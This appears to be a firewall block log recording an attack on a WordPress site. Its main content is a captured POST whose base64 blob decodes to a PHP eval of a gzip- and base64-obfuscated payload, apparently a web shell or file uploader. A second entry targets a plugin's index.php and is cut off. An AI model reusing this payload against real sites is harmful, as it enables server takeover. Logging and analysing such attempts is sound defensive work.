3RGY0xZc1VjcmcyTnlHanZNVGR3K0liRXI2eGdQYVpneGdIRzZvb0lrc2o2b0NaV2FMcXk5Yll5ZHlCV2FvTlpBbDArRHMxbHRXd2lsc1VpZ3VFaFkxNkNQMDUvekVDSXZlRnZiSGxFUHZhLzdQRWJpTmhBM1lDVXErc2xUNVpDSGRSQUM3U3d3aWt2bjNJNHNrcjFWUlhSelBqa1QyaHRORDBBK3IxUHNKeUhvNW1GdnRvSEsySUh6L1VodW9aOWlZZTc2SGtpNlFkTm53T2FYTmsva2t5OUxVWXJyUjdFRmVUaU9vc1pYUEZob0RCNXU4MnlHaGtWNDlGNDgxRWxZWktxdVNlU3JVUGkzWDJsajUraFlYYmpGSHMraWNnQUV2a1ducjNEelk4d0w3M04xUkpLQnZkV3BEeFlSM3BvZXJzRWN0cTBvQ2VWWlgyTlN6Mlk1TEw1SHhuRXlqaDBOcndTSE9vWCtMUUlCVjdROThzbFJiYnRHdWRsdzZrY3ZwbkR0ZlN5OW84SWpvdkVhVzdndU1PblVFaTBUL2hxeGRzVS9qS3dxeFI0ejdHQit0dGk4Wm9LT3p5eENPeVlZL0hhS0w4SU9DYlZRZzJ2bDJGZWhLRXZRMmZSb0I5MkNBTFFSMVFDVmFUWU9Ka1czSzUvL1loa0ZPZThSS3BMcmgyd1JzbEpzQWFWMXZ5QnNrbExOL3lVek1xYjlOeHkrZ1NaQU9FZnhSNUxvcFVOUmlWRVY1ekZUSStZZmlxQnVPV1lWL2YvNlNvUGl0amZnVVF2LysyMEsvTHNiNSthTjBaL1hCZS83UVFpcmpwcjBmbUZoRXVhaWtJcGpEQWhxTlQzQXBneUdPVnUzMVhubExaSmMwS21aOVJkYk85dE92eUFkR3NFOWlEVmJWU2s5cVhOd1lRMk8yd0NlQ1hjRkRyR3RwNkFMWmwxQ0E5MVlBeFU5REVOT2p5Nm53czRJMU1SRzhXWk1ZUjZlTFFyVzhTaUVGcXBvQWsvdUtJZnVoK0JRZitFMnk0S0NjU0NCdnY4YU1WUGFQLzhwK3NFVUlScXIxcjk1cnd5Ykk0cnhha1BVV0twWUk4dDYrRVY4Z1I1d3RIUUpseDAvVlh4K2RJVVZraFRjTnZ0bEJ6SDhWZmk2T1RUOE15NG1ZTlZ5TUljbXlzbFBRcVJlRnVSR0NEQ3JNU0lpb2Zzc042c3ZhTks0RkZEdURZTG9Vd0s1eTYzR0ZFU3RNbFMvRWMvSkVnNjdMajRwOEFnSG9nMjZnbXI5VWhrWmd1U3Fvc1VhTUR3QWZYZVNBZHJFcjVKb0tLb0Z4bWNsMjFnNTZiYW85aGt4alA4bjVROWs1cGx1NXN2cHgwblRzNTBaLzJxY0JTTTNrMGZndXhGaFF4bGhPV0VsdEV1LzNtSVVZVHhvZDJPK1V3Z2x6NWsyZi9rbk4vb2V0WlgyUnI1N2tjTHVpREhYRkIycDlJbUowTVJTVlF0RnVSMjZJUXhTRzgxMTVKSXQ0RmRxbTJmaldqbk1qRlc4MW1XNXhmdk1Ma3A1RHpUVTVFKzV6N1hCcEw1SEdEV00xQTV6ZUVOT1ptdFRpbmFHUzV5U2tJSkhtTkFDKzJ1Zm04TXNwcmI3Nk1UT0xTVVFCZi9BaFZSVURvK2ExeGd6LytxQTdNWTdRVnlBMEc1Q1kvUHltRlJDdUcrdWJlb1I4UlRpNUpJVmh3U1F3dkRWbElQUjFCRVlVbUlyR1RhZ0hLeEpvWUFzOE1uRWpJU25vcWtxelJIeEMyMG9ibjVaeE9IRHAyOVk4SEtyMEpBS0R2RksrU1FQZytReEV2Y210TFNpei9ZN2R6c1ZnQ0FFWlMyb3dFR2JFbkM5NHdCdEF4SldwQ3d2RkFGczc2cVJtcTZNeWVMSW5kS0NHT0p4MExhQVh5NjRKVUNxd0NoUjFvOE1jRnNlNXNUV2VEcUs1M2ZneGNNNmpKaWVJTU5yc21aS2tJWFJJaFFaaGoyc1lnOWJ5MkQ5WC9DRHlLT0VrdllxOWhXNkhhYkZ2NEIyQXAvalEydkwzamVsSXdPY21TMmJzdVpWSjFrYWNlRWhmWjc1cEVsekpJcjNVZnZMT0ZSK25TUTA5YklzOXJuOHlPem1hSEJuR1BVNXJIZFFEMStHak42S2xnNW9FRTQwTFdsTU11Q2VaUElEZ2JYcUhpZWVwSU1iNnkrSzZ3SW1kSm5OaWtJVTFrTU9jWkVURTVNZ2JYYWhHMUFTMWN4T2xlSUxPUGhKbkREcDBDL0EyUlNVWUJONHpTYnI3dHg2bWNhNXVWa3ZQT1RIVUtlaHRWREgyNGs3UkpyR0M1WWpRZVR6U0ZCODE1MnRrMDdNZWk1SElRMjVXWjBEUVJuNlFzYklHU3hUTjFRRnpKMXBnaUYxVVZ3OHYrbzdUdktmZlE1cjNyWUNzemlEcHcwaVB0SXVoTjhaU0NKeHMvMStaZ2FUVEdyV3lROGNJNkg0aEZUT1UxU0FxeFFBK2ZuSE9aUllxSUgxVDZ0WkNwRTRiNWdKSnV3K2NFYUxidkdvQm85RnFub3RXTVNhaVdHNW84T1dFcVdqc3hUcmhJajNEMzFrenoxYjgxOTVPQU1lWnRDY0JKQVB3b0l1TkdVVUZDdm5qYjZFZHBqNVQwVGRYQWw4b2NFZ0pVSlFacEdKSi9ObisvcjN1QVE3dlphTHlReE1yVkpMcmdZc1ZNUi84K3lBL24rQmM0Y09tSkkrNEZGU1MyMkxHek9PZmJnZERpTUtSS0RERnlHZUhWZWcxTDAzRDRGd2o1dThXUUxRZ0h3bG9DWVl5bXVRdjcyTFNyaVBMeUpGZmdUbWRXend1NFlDSGNST1ZsNzJtaHhVQis1Sm5GOGlteUl2bzEzcHhibGhuRWJzSml2N3lHN1lwVVNxdjk1MUVFb3hqRHRhc1dMQ3NHcjlqU2hXWTkyMVMxTEpyZ2ZDdjdjSlJxTm01RXNGZUlwN1hwSVdZallLK2FSN05pZTVER3g5RDJBY1IvbW1LbkNZYmlTVklpYUtYLzBuNThENVhQVHR0Z1FiN205Z0VzUDhhd3dCV01ZZW5vVXJHQkF6dWN3QUtPWVUwRjBJR01LTzFmcnQ2dE1EdHRWMnVwaGhMejlHbjl4VGZXUHVTa1k4Wllmd2RhbzFwMEZPYzMxQXpJQnh2Mlk1NTBDa2Q1Y1ZJVkNnS0t1UWFzajlhd05TMWRRNVZCYU1RRXhrcU5nRU1tcmFjUGlXc1RHR0ZFcW8rYmh6d1l3Mld4c0ZBN2I2dVBzbzZ6cUphdlRyb0RzVmIyaDBhdjBwWjgxeWRtVE1oVDFCSWE1MlVoUlRRVDlMdEM4UThLZnpobjE5TEZZcUJHdFRFd3lNWTZ3eTlzZFBtdGNkbUdQYURELzhHd3phNS9QRUJLYU1RbnRXTjVOVHY2cExvUFBvbEI5QVpTdER1SzNGOG03VCtiVGlyOUNobmlHUGhob0dVSzBsZGlOZUxIemdMUzRkbWpIdElmRG53NUNncW5GYnFid3VsSlJnQXZMa2JWdTlWVElGTERtaW1GUE03UXBNbEI0Vmh1a3BZV2tCUkVhQm9vTDJiVW1JVWJTTHJBajVsVHo0N2xXZWlqa3l2Ym5tQ2hZN1d5TFJzbWNrSitIRm5Md2NsV2ZuQzNlNXRQVGRJZ1FIbTBLamFsU3locElZUHYxVHk1RzlQWngyTVZzN2ErZ2VSUkZSYXdhczBtTjBGM0JrZ1hwc3pmV00zRkptL3c5TUlnUlE5WUIxVW50a1BoUHZEY2hiTHN1V2paUFVSZmEzQUJiL2xZaDYrSFc5ZVk2QWRUNjVJNnlObFA4MjdsbkwvdTNxdGlzWFQxd283OU9GRjNQaG13ZGg0OTlZWWdBR2hDZEdQVnpOQlplMktYekhoSjZ3ZTludnNtR0grbC9oemV6TUkrQzI4SXoyd2M5V3Y5T0EvcFMrNTFMZklYL0VSS3lSMU1vUTl0ZXhaeDFLTUtOalNRYTJqai8xZHAyVlVTL0NyRzRBTVBqL2M1SVNNdWlGTkdpTE1XR2pMVlFnbVdYL1A4Tko1Qi8xeFpjek11TG1sV0xSMVROVnJzcVRCRU02c3JuYm4zOXgzbU1jOVg1VFRjNWN6R1Rma1FpYzB4OFlXeGZCMjUrQWJZdzlycnh5dFdiQUJHOUNBclo0YXZFdWtZeEExNU9ndzBCMlNXclF0c09pSERzbVhnUkg4SEpHUW5YUmE3VXB2UEZUQ3ZkOFJYekJoU0xleUtnTkFycldZMUtBSjJmR0YvNGhuQkhUd2dGRVBmekp0N1NmdjZTYXpyMWcyTVE2bHloU04xOUFGMDJoSTUydU11LzMzSkhFK3NHRjZBck5DczQ2aE9NUXI3Sno1WGZSZWhCek5CWEFyZExraEJWZTlFbE9tN0VXd1c2R3BpZ1NrTzBGR1JLcjhKdzFkWWVQU3JkVWdMR1ZYZEhNcG9QYVZhZ3FLQk9PRUh4bkl0VnAxV2xlQVQydUVxUmNSOVh4b3Q1SnZjZTJnNy9jdmsrUjdxRDdCQnRKK29NRnhFYTkyMjVTT3RXK3VQNEZOWTVEQ2dva2xvanU1ZHM4NnZHMHBXTWlDYjk5dkh2UjhRMC9FWGNENUlhcHdUU2YwUnVjTE1Qa2l3Y0FnY1ArK3REV3RFOE11R3dQMFZxVmZPN0NMbEtGTTZzSlM0RnpuR0tkTVM5RzRwTGIwblI5MVJycG5DNktTZ1IwMnpiT3MzUFVJRUJndGxRQjRFNGs2ZDZCWkxvWE9xdGMrLzNkNjNFZGY4ejN4WmM1V2xRekVPUmtrTkp4eWlpcGhySUVqOFRpMTUySzl3aVlTdUpSWkpyOGdDMUZ0alh2YjBITzlEL3pKbWp6MnBBaUtCNEZoTUlRRUNqYXdSN3BZSGg4ODRoUitpTnZrci9wNkRxOUQ0Vmxld1JnWE1VM2N0bXRDVEx6YTVhZXI1dWM5czgxMDI0OHhSNkgrQmI0eXhOcGFucGxhenh6Vm1jQUE4TzhMMXRvV3Z6RXlDeGpOdjYrQTR1SUw4S1JzVlRXQUN4R08vYkJLa1JPV0hJZGNYaGFrVVAzNXpBQnhGUDVyMzdsMVpTUURwRDBRV1JHYW1KbWlyaHdCc1NLRWdsWTNVZmZFUkJQcit1RkIycFVSbm16c1JiQ0g5QStIclg4NzF1OXg2Mk5sU0JwbElKdWRYTnoxQ2NEcE9yMUdENk9XNUxJSGpCbTFGR2lJZ1J5U1kvVjFJNWxkVHVEMnlWakJBeW1QS3FNdG52SjZRdzRYd3dnenZuRUFCNFMyczJYekZ5Rm9qczRnTWxrT2E5MHJoT2YrQjY2K2pYZnJ2S1NCSHpXcHFOUE8vUUdjdXVRRVFBT2xTRnJ4eVBWRFViNTBBRzlFbEpXYTFOa29UZWdYRlZrRVhvWXB2c3R1RWhkTkNmemRrOEVqd0EwZ0x2M1JpNDFCSUgvbThhVU11TUVZdlFQK3pRbHhuTHY0UzVWQk1wTTdPdlVTc0VLMmNRMlNpVUtWVXFiWWxoam9wVUVvMFNNRy9DUU16TTZaNFE4Y0pFVUlnNEwvSDdKYTFkUHNXaTBDT2Q0VzFoZnd6Y0F3Rlk4cGNjU0RPNXJsNFlNbC9XZ0xQTDI3RS9SVWdqZGZUME4zbWVISXZNQVJjOUkyVGovcTJhRFZzM0U4UVZwbElveExtd0g4V0wvR2pTWmowTW9vZk9kTU13U01ZNkprMG9zRGpIZUx4NW41Tk1LaXJ0RUhveUR0NFpTZU9qMDF0U0VFamVycjJvVW1WbUxZazNUMnJQLzBDbzFQQkNlQ1E4RnRMdEd0eEV6Q3NmTDR4NStERCtYeGtYVTRDeXM2YkJUVGtIQVE0T0RvT3ZZVk9jL0hDYng1bTNkSGNWWGVQWkQvQkd5dG93cVZ4QklHNkw3VFd6ZytsZzhTSHdNb0p5UWNiRDBRMUdBeEs4dWhMNWtDQXMrZWpkWmg3VmMyOUVDUHliNmNiUTVneWlBLzd1LzdKcVFhN203eWtOcGRlWVZDb3M4SFlxRE9vTUFUNkRSR0lIUUtvbG54MXJwSEtlOUtZWWxQODR4WWxKSVAxR3UyK3RTMXJjNTg4VFhwUXRaOWNJalo1dFpHSjFlaXArc0VBcEZ4TGNEK3VkSTZFVlh3K3J6a1dGc1hYWm5LZGdNWTFYb2pEVzZuY0hPY3NmczF2SmFONk01NEhlTEo1a1Y5NklEc0VNUFEzbjBMSzBqK3JZa0JOSE50WGNpQlV5VFNHdU9EdEVIeXFYdysrUGNzNUZKQk9CS0ZtK2VsN1BNVEM1WjJ2S1N6QkJISEFxQThoNGZuYWNnMVRYckxLZWxTTEhNcjFPUHpDTlNDNnVldGhJYnpvalE3cUhicktuTC8wMEJmNU5OZlJlRlVnYzNkR1pITXNKM1BEclk4bEhBS2tpMmh1Zk5qdFUyT1R6d09KUmZUeFIrQTVVWGJiUzdGdjB6bzdvWlFBcGF1ZExPZTlmemYySDlPTVhRTGRRZGdZMHhOMExnYjY5Q1VZbnpzV1BxQWVMa05FZ24wN0Q2TEU1bXJkcHN3S3hzSTZNUmJ2SmZWTnAyM3NDaS96aW1JWDlhKzZqTVJuSUxnLzVaOS82R0lDUWFYdHNndEJjSGhiK3VFLzZMRkltYU5kd21YcGhiSGwyRVFnVFJ0dWZOYXBVYTNMUURPNEo1QkRVSlJRNi9CZEgyZTByUUw4SVF5YkFqZjZhR3BQUUlCZEIxVzJ4TkQ4bDIwNFM5YlpTeVVMN3Y2T3MrbXNIWWdVQWdHeTBuT3VPTzZSaDdJbURuaGV5Rnc0a204RU1rME1mKzdoUGorTVQyUm5rTTJDMzBnYVZIUWZPT1JtNHJwMVp3QUd2TGpyZXN1cnR3NHZVK1Zla1R1UzF4SEV5cERUOG5GQmNlY0ZtQkVUMTl6K1krRll0MGYrcGwrd05Ta2h1SVd1MU5nNlA4MFZEcHZBZjJQSCtwZzZZV1dtcFdLazNYOHJXZEl3RkxLQ2RHcE81dStlUG85TmcwemxOOWtybHBPckdpUE9MalZkTW5RYWVnenp2U0VBaUpMZjd6OTViQzNZRjBFQlBuWmxuR0p4eEllQWYvOHlCbkc2M0t5TzE2Z0V4eWRQamZ5ekFNWUg1NEJGT0JiN1pqdDZYeWNZUlovTmtCSFRTMUVSelJKVUpXTlhFZWhxdmtkSjFPUGtFc1RiU2hZSmZ6MTBkeXhId0ZRc3llN295emE4VlFMRTlwTWJNa0FtVmRoY3FPZGJiVlNKME5RcmpBR1c3VC9nQXFEb3dzRnNTQTdoSkJvWGVmTDRuMkFwZ0JkbmJCVm1HaEphOHBCQkU1STl0bWJiaDVlRWFyVjFLcVluZUF4T1VSU0dQSEFBdlMvV0dENU16VCtCL2lSaEE5Ym1MQkExYmhHQzRQMlI3ZVpidXdOcVI2aHNXdUtKNS9nUmwrWkJQUnpnTmlhdE54eXZkZHRROTNLWGE5b3lic280bVFnRlM1YlA1VEFMWUVYSWlnYmdKaHVpcFFpR1FhU1dOLzJOQlB4N25WMW5wb0JXL0VsK2dBRHJmK2tYYVJmNTIvQU1venlwZzNXcmdVSDg4eHZsdC9ISU4vS2FjdnY2SHZuWXJHM1k2K1lKY3RCQ251QTVjeXk5OVltMUdlREl1ZmJmNmtmSmNoUjhTMDQ1eTlQU0k0NFBSVXRja2hJZkJza0lqUUZRZVhDdmE3TzBQdWo0aUp1NWpleFVtOEFaWnU0WVBiaDJmd05aWTlGYlFLNkhSK2k4aTFOUzBKVzBjM3dGcTBiempJOTJNTGNpaUpDc2REUVM3SEpzbEhKckRZQlp5QTd1ejBnSWZjQnI0ckhFRVFzQVZBaGRXV3hab1B2TExXUGc1T1JlS2hBOTlzQXVCQTRKT0VaVVpYU1g3aTJZOHVmVkRRejVYT2h5dHlMVFlQWmtPQzNkeG5ENTU0QmgvczdNUUxvTUdYK1NtWk5XczlxcG52aVpna0dQUjVtRFRCSXpKK2NBZTk1STZERDJLN2YrMlRudE44VDIwTm03N0RjWmt0NGcvRXNHQStjd1lZZ3hiTUdMR2dtVElYY1RaZVFzd1BRUUJOdFdhcVFacnpnSlc1N3hyNGJwalZ2WlUwb0JjL282Q3RqcGJVQ01QRUVMMTBDSDFNQWViNEtBVDU2K3VlWnZxeGd3UHZUY05EN3R2OGtqNEI4SFRjaHc0ZXkrUWF6MGIzQkRwS2J1Z0JaZGVwQnJzc2Z3SGE5YU8rdHozM2pVQTM3OVVheTJ0RUVlMUd6UVN6SDMrejNTY3Z6YzZnU0V0L1Q3RWR5UC9sZzlodjZ2N2wrUGl3MUdnTmpIc3VPZ1JNQTY0SUd4QUNTYldlelQ1QVJIQjAxU003N0NDN0hlQUo2V25jU1VRcittaXVzZjFBV0xnQnVDMTFBemNSek5aNHVidERWeE50SXoya1Jac3dXWkE4SGRkQWc4d3FRMVRxbE1LRXhadE9JbXhBTFM0R1NnWk5mMnJmRzgzZVVCRm1BSU9rak1qOCthTHEvc0lBTytpTTU1NmlRY29lWTk3NXpHeTBqV0VYNUE2VVYvQVFic0kvbnVLQXA0QmhNZ05CT1JhOENOOWhsS0k1d1VBcTBMa2dtdHRwd0pLZGkrc2ZUdG5hQ01iNjNhL3VhOGVXSDFMRjlHeXN6MUM0VFk5SzEyNURnSEl2L1RNSVdKc1Q2WjJFNHRVYmV3UDNPR25lNGhGYndxWEVsMU43eGY4ME84cjA4UVViaDJWa2xCTGg2WFFOWGVnUmcvQkJWRnpVc3dOcHpqdDIzTlowcit4QjhjdFJQQ0pIcmVYMUlBOTJnTDF5Wmd0TEE1aXZUNk0wa2xJRnE4SFpXNldiNkJZZlQ1R2hkSkFEMDh5TlBjZ1VaTi8vQUpYd0VvdkJ3eFJLcFYzTTc1QXB4QXU5U3dQVDljK1lOREw3dVV3eGdETlltRkgydDBzaFRqM1FBVzJ2VGpyaGxHWUVpSDAyVlA0SVpXU24yQUxqRXZHSUU1NUhOY202bmVrU1d4T29QMDBNMDlvKzRkNzJDOUtoWk1OZ0NRU2lzb3hUMmNYRFBXaGY2SmJzRGh3SFpSczVma0lxZlFjZXhDSkFwd2NBdlVPMWJmSDNPb1QxUWtlV25RU2tMbUlPVzNVdFF3Y3A0SFRLaThOMEhmK3VOeWpQUlJXWU1kRGE1Ny8rd2xnNFhFdHpSNDZQcHlJc1h3NjJsWGxFZE0yeTNKalQrTXVXeXpwMlZ0Z01WaDcvUEtmMExod3dUKzd2b1JzMzZlKzNJUU9EYSttdWpDb3dsSS9KbGRwKytxc1U5TFN6bElNUmd5N1g3Syt3UDQrSDQzZy93R2FERjdjUGJmQ0hJemIzbWxlOGJPeXZCR25CdDFzQkdJZWlVcXdlYno0TU1LNm1CRFU2WEhhWjI1dGU1WmtGZDdYT0g3VnRhVVplVUNVVEIrWFR4MFNaSW9TcVpHTXk0NGNyWDh3MUxIbXk3UEZYeEEvMjRUSXlDWmJJelF4a0s2VVg5NENFUVJpSHpHR0htTGNaZGdkY1Q4UEZlWU05ZmNlQTFpc29mazA2ZVo0b3NHcDFUcTBWa3NhVFVlSjQxQVMrTzhVUzd2KzIzNFRHVHRSc3ZWRWhMTm5sY05FTms2eFpubjI2cldKeEZTa2hxN1VNbFlra21MTlJwNU1sWU1CZUVaNVBxRWZ6dEM4aHY4WUtIUENaakI3MkYwN3U1aFo0OE9UMU9IbkdLb1lUY2VCN285aEZHeDRqNUN6L0JyT3dEeFVJclkzZklmN2RwdTFzTVdhSWNHSkRuUHNqbWFNSll2SlhoMVBvd296ZWhmaUEzSjJpdzBIenh1UzlKcklvaUlYWE1LSC9YeHlLZ2YvdzRlTGc0TGtmclVBUWZlL0FPNXB0akdKWjIxdldXM0ZqQ2h6WFMwYStxZTRPNGlTS09zcXBIYWdzT2lSS2ttbXRyQS94cC9YbzZ2bDZiSFJHZXRWMEZ3Y0Q0clVIOXNhdWhSNFJDaDE3ZUNaRjNtM3MzU3BvdERZMXVhck1sUExaMm5kaVJ6MWpuVW9xYTlTUHpaWHlKS1QzREhzWG1jMXRjQ2pEemNnWVpIUHZsUVZxM0x0eHgrdERDSWpUWVBiU3prTnFtRk5tNm1zSmlLbjAwYnRmNXZYSzJBSlcrWG52Z0xHSEpjTTZJYjVhR1pBaThPQzJ4dS9IeTM4bEpjU2VXaW9JQXNySTdraEpiSS9UdGtGQkZjR3dSK1lrbU11QjdPbzhEdmsxLyt0cnZWTzU2cEY1RFltQXY2SGNtZ2ZEYitRc1VBS3p2L3NFNEJFN2dtZTJEL21QTFR6OEF2ZGYyUEhwQ1p6TFBvTlNody9kZGt2bWdONHYzS25CS2Jaa1BZYnBLMEVGamxHOXZrTm0zbFNQaE9KekloZ2ZSQkZ4bFNvbUk3M0VzWmUvK2hOSW1hdi81cmk4dFpKTXhqbE9HVWlCL2FEbDlaUi9Keis1ZFVsbjlZRFA0bmt0N0lSUDVPejJraTRqdGxVcW15aFFZQnVoRi9mYUtOSXBCVGhVWUYvRlZBVzQrVGNJbGQ5cHgyaEI5bDBmOXFLd1FhR2VIVTdCZXYrYmtxM3BrMEh1RDNoVnI3Y0QwU3hHUVloekhZYTc5MkxLTXdIQ2V6UnIrR1lReUFMOWpDaGx3Mk4raDRWTGY0QWlIOGhBQllkK2RnVEVzT1pSVGpUeTd0dTM1dkVHYncyNzlUamloYUVUaEU5bFhudEJYM2U4OTBiclh2NmFTdUlxSGc0eHBqNENhenkyRXc2RkcxWUdmYndOb2VxdzRGcXhLWUdSMHQwY0gxS3BROGIwQzhqZ2dWOGx2a0hOampsY01QL3U5cDI3TWI4d24vcCtLNGdjeWdIMFEvdDVGbmE0bVlHYVh5dlZORnV1UTZSbEhKUXRRcFJlUkxTL0tBRVNVSGlZb21GdndGZElFbEdIbjdCN2J6U0duRFRuLzZUNk9CL0xaeHl2S2NGL00rQTlqN2hmKzdHbmhyYitPOWtESVQyZmFoVXJ5dm9VSEVOUVRScUg1QUpVMDVKWjNSWXdkdjdGYU1NME1IdFdtaGlyUjRjNHlwd0VWd1JjcmY0L0NnOGZQQno0enh1NEVpRGl2aWlhay9vMlE0SUxUbFBFV0xldWhINnoyQUtDQXZlVVM1Yy8ySEhlSUI5OTdKQWx2ZGxLTDBOSEJKODdUdThWLzlYNmhPMnphY3E4THgvSmhJNEd3M044TFVTZEVRVG9ZZzEydXl0dFJPWmNpV0pvQk5QdVpZQ1VBZU41N2NuS0tBVTB5Y2FJMnNEVWN5RmE4S1BiWE1pLzVzL2ZCSk0weitvcWJHVzlwSnV6Nis3dm4zZ2hmSzMydi8yeFFrU3VpczNDUEpOd0dSWGdvcmdweUtDakFvWmsrU1ptWDhXYSsvZjR4WUNMRXZqd1p3bEhKallaeGo5Nm51RUYra0xZdVVRRTdsUHJnZUl3ZE5hZ1Q4SGtZRi9xeUw1b3dNUDNISTkzV0dLbTloQzNJNUVMNXBmdnpOazVSUER0VFNCR2hKZWI5dzBXWDlwdXd0Vlc2QWJLVFYrcEFJRjY5MGk3ck9vZGFXeDh6bnhYc3FjdmZsZHNTL2VRVWYrb05vSnBuOWM1eHpBM0RBUXoycjR6TlNjaEw4bi9VWm9hN00wN0JRYytJRFZsOWxsOGNpbDQrYnVzU1lHSjVnbUVyOGJUR2pMR1BSOWNmSE04YVhPWTh3LzUzV05GYVlCdkgvaGZnN1l0NW5RMnhvOWN5S3RENHhsQkJmeVM5RlJNSlladU94WUUwS3JZYkQ3Q01paWRnTDdxa3pyR0lONmN1OWt6OGdUSCtMSjU5N0RXTlhUTlBGamVjZUNDRHF3QzAyelA4Q0czKzlUZTRlelhWMzNQcUN4YTRBaWNScHhNS05wZUJTYnhYMCs0SXpzWGtmSTFxMy9mL3liTUdnZGpUUDRBK3FmWUZFNUVQTmFjQjRPcWVjRkE1KzVkTHlGTmpzd1ZsLy9OcWNQODZ5UWhranJkeFAzYWxrcFRtSFl4RXJwb1JpcFltWnNINm50OWgza0t5VkRGWGtYaDBMOUZsRUQyTytqUm5nZjVKQWFLNTJJczc4Y3hFaXVyclkrV25FR1BMWFROdEpPWU0xZmlybldzUGlDMWdvWnVib0lEM1ByOGVTdmdLWUhaNnUwV1hZb0tKandRYldDeFdBNnVac0NsWWdQRE5zQlRxNWR2SE1GZm9ZTGI5eG52YmpoMVBmbWJ2MGozWnp0VDNoekZSNmdqbU5seFMzRE9IRU1STVRLUUh5WEl6eElXMU5GUnBaaWs0RW05bFpwcVl1MFJKZHlVVThIT2R2SHY1dlZCT3I4WUhGL0JiNURWbE1sRnRGS0hNWjZMbUcwbC9JS3h1L2lFWkpwMDlkSFR4LzlucXpRcHRPTTd2enNkeVZnd095VG5SRzVGLzUxRVI5ckgweVJOWXdJdmNMV291RDNPM0IrSkJBdGEyTTJOWVArZGFseXJ6T2xvYURMd3NpNXpySUhzazYwcFYxOEw1MndGMTFPWERrYmNYQWV6QlNqa29FWkpEcDE4YitOa3QxdXVIeHU2Q2dDMG5mbDhzZDIvOEtGUnlUZEJ0NmZXZ1lMNUJYNzZxeFI0LzkxeW1qQlRaRHo4T2tKSCtsd3pucytJYXdiVEFGQ1cxV2l0RUU4SlR6SkMxUkZsTzcwdGlmRWVCRXU0M3pzb1p3NlpYY3JBMU1HeHZnRjdNQmNYdjF2TVgzSWE1V2NMMjdyeEZkS09iMWNQM1JBMzRIUXpGK3B3Y3UwQjUvOXQ5RmR6WFZNeG53NGt5UzVZL0tHVHdoL05XMW01bUpodDlSa1Z2eFh3M0RKSTNFWnA3eUoxVXo4dTdpblhmaXNQTGc4MnI0ZThvVS9Xck9aUjRlcGZ4U1dkZWlHVEFaK01MSWRFc3o3RE1WZVduSkdza3YzSUZhTzN5TVd0WmRpWUw3Y0tjVWZXTVRkdnc0akU3dFB2aUVTY1FjOUJPOFdUZityUGQxRnJiVERRL3hqLzRBOVRmdDRJUmd0eU4zMC84WEFpbzJQMTlEckZZWTN2Y2x1Rm5ndjA3dDNGbm4xMzhxenh2Rk8vWGYrT2lRUU0zWU1hU0gvNHlmWDUyVy9BQ1Bsci84enNodmZ0dlFqMHY3YnV0ZHlQV2liNktsRzROZi9JblU0TVBPc2ZVUm4wWXI2VnBiL3B2UmtxbWYyRklZNzB1eEVtcGZZOHQvYXJsZFdmRWdqTDM2SUJHenNRS2U5UFJUc09ieG1yb2QrcnVvamFhYUpFekMybjl1aGMvcksyTXYzKzc2VkhaY2VaTzN2TkV1akc0YWtSTGRhNEo3S0laS2ViLzdUVk1ZVDNsM1Q5Y2tBOHc5NStjLzJIMzRkKzVJTUp6L3hYejBBdndLTkh1TlR2VDVoQnNUZi85YmJKVFRwWUZ4SE92NjNyL08wci9weHl6Mlo0SGZUTjQwTlRXWWVyMkNGN01LejJEZmZLZGVkRDNkMS8rekVWbFhXdXluUGJvZUk3OUgzdi9oTzI5ZFBicFA0N0pFUFJ5cUg0KzhiS1NMbTNyVnI0bitseUlsaysra1hTbHhpc3ljMnlldnpYRU9lcnN6K1JENFcwN2p0djB0RVMvNlQ2cXA1ditiSGJrbjlkTkFPK3ZwR2VrcnVDN3piVkU3a0VaenhlNENYLysrbmhTMjRsL2FXZU1PR2h3dGxkTjdHekdzNEgrNXlPSjMrZEhVc25qazVNTHZlMlQ2NGtyRytvV0YrR2ZvOXd2L3lUWmRZdmd6bEhpeldWUjJaaU5rN3h2OUIrMGhOVTlBc2YvNGFLVVpiclZkOEtwV1Z5aGZMT2JLVjRqYlJjeTBFaExiZTNZSTJ1UUUySmJjTmY0ZXB5VlN4cDQvOHV6b0pJT3haSjFHL3pQU0ZPbUdMQ1RnUUtXWlF3THhhUWE3dE9rRlpJa0dSOGVKZnY0VjhMbjRTbVIvN0xLT08wb2l3T2tubmVvMzcvY2k5Z0ZBajQ2cEZRditqRXgyWkxFeTFBRk5qY3lkaUkwSHpCSWYrcEIzWE1JU2hBSEQrdnduelBSUUVtRk9JM3U5dVRsSG9odW52RlZUaEduSlIzNzluLy84TjI3UXZkZDM2LzM2L3ZzZzhwdjU1Zit1NE1GLzhMY0pqc2pIMndETjV4OWR3LytTODA1YURWTTB3MS9OdlRScHAxY2VSYVFkTDBrdTNrWE9GRUpjOXZQaDFPUDd1bWlRcmJxNzZCRzd1Z0taYXFYTmZuSHlvbDc5aVcrU3V1T3A4WTZONjltM1g5dW52OC92MnZ2NVZuYy9mLy9kdDMvc0hVQi8vVy8veDlFVDYvS2NDOXovbC8wLzVmV1RGRWFsNTQvM3ovL3lPR2padnNpWHgvdnovL2wrLy84Ly85L3Z4L3Y2Ly8wVlZ6L0gvdjdIY3dCRGNJY0dhMjk3NXRxUFVuWmliU1lyNG83VFFZTGFaOWgvbHdxcm9GMFQyb0pGaldlR2JOMDNueHAyVWlESnppc0gxTFRjaTNmd0Q0REE4SDhBK0FBIjsKZXZhbChodG1sc3BlY2lhbGNoYXJzX2RlY29kZShnemluZmxhdGUoYmFzZTY0X2RlY29kZSgkc3R0MSkpKSk7Cg==\"));\r\n--b587d66ebc7b0649b810be7275a7cbc1\r\nContent-Disposition: form-data; name=\"berkasnya\"\r\n\r\n\r\n--b587d66ebc7b0649b810be7275a7cbc1\r\nContent-Disposition: form-data; name=\"darilink\"\r\n\r\n\r\n--b587d66ebc7b0649b810be7275a7cbc1\r\nContent-Disposition: form-data; name=\"namalink\"\r\n\r\n\r\n--b587d66ebc7b0649b810be7275a7cbc1--\r\n"]
["2026-05-26 21:22:27","170.205.30.68","POST","\/wp-content\/plugins\/dyeja\/index.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/138.0.0.0 Safari\/537.36","post","http包非法,并且被封锁IP,如果自定义了from-data可能会导致误报。如果大量出现当前问题。可以选择在全局设置中关闭From-data协议22","POST \/wp-content\/plugins\/dyeja\/index.php HTTP\/1.1\naccept-encoding:gzip, deflate, br\nupgrade-insecure-requests:1\ncache-control:max-age=0\ncontent-type:multipart\/form-data; boundary=606a2699a7e6eb9dbc37f9db76c93e95\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/138.0.0.0 